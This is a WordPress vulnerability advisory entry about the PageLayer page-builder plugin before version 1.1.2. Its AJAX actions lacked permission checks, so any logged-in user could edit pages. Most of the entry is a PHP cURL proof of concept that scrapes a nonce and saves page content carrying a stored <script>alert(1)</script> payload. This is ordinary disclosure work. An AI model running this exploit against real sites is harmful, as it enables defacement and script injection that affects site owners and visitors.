Lucene search

K
wpvulndbChloe ChamberlandWPVDB-ID:5F1014BE-C546-45FC-ACA2-4FC3F9EF7999
HistoryMay 28, 2020 - 12:00 a.m.

Page Builder: PageLayer - Drag and Drop website builder < 1.1.2 - Unprotected AJAX's leading to XSS

2020-05-2800:00:00
Chloe Chamberland
wpscan.com
4

0.001 Low

EPSS

Percentile

31.2%

Nearly all of the AJAX action endpoints in this plugin failed to include permission checks allowing these actions to be executed by anyone authenticated on the site. The greatest impact was the pagelayer_save_content function that allowed pages to be modified and XSS to occur.

PoC

$wp_user, ‘pwd’ => $wp_pass, ‘rememberme’ => ‘forever’, ‘wp-submit’ => ‘Log+In’, ]); $output = curl_exec($ch); curl_close($ch); // Pull the Nonce $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $wp_url); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $content = curl_exec($ch); curl_close($ch); preg_match(‘/pagelayer_ajax_nonce\s=\s"([^“]+)”/’, $content, $matches); $nonce = $matches[1]; // Update post $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $wp_url . ‘/wp-admin/admin-ajax.php?&&action;=pagelayer_save_content&postID;=1’); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ ‘pagelayer_nonce’ => $nonce, ‘pagelayer_update_content’ => ‘[pl_row pagelayer-id=“134fbz4exol4wayn” 0=“”][pl_col pagelayer-id=“karjlfl515egfjt9” col=“12”][pl_text pagelayer-id=“4msjs8vug53um2f5” 0=“”][/pl_text][/pl_col][/pl_row][pl_row pagelayer-id=“GSTUg7ikEkpAC47q” stretch=“auto” col_gap=“10” width_content=“auto” row_height=“default” overlay_hover_delay=“400” row_shape_top_color=“#227bc3” row_shape_top_width=“100” row_shape_top_height=“100” row_shape_bottom_color=“#e44993” row_shape_bottom_width=“100” row_shape_bottom_height=“100”][pl_col pagelayer-id=“IsIHSqYREncpXmhW” overlay_hover_delay=“400”][pl_btn pagelayer-id=“hGPZxsDHkS2MVrW0” text=“<script>alert(1)</script>” align=“left” type=“pagelayer-btn-default” size=“pagelayer-btn-large” btn_hover_delay=“400” icon_position=“pagelayer-btn-icon-left” icon_spacing=“5”][/pl_btn][/pl_col][/pl_row]’ ]); $output = curl_exec($ch); curl_close($ch); print_r($output);

CPENameOperatorVersion
pagelayerlt1.1.2

0.001 Low

EPSS

Percentile

31.2%

Related for WPVDB-ID:5F1014BE-C546-45FC-ACA2-4FC3F9EF7999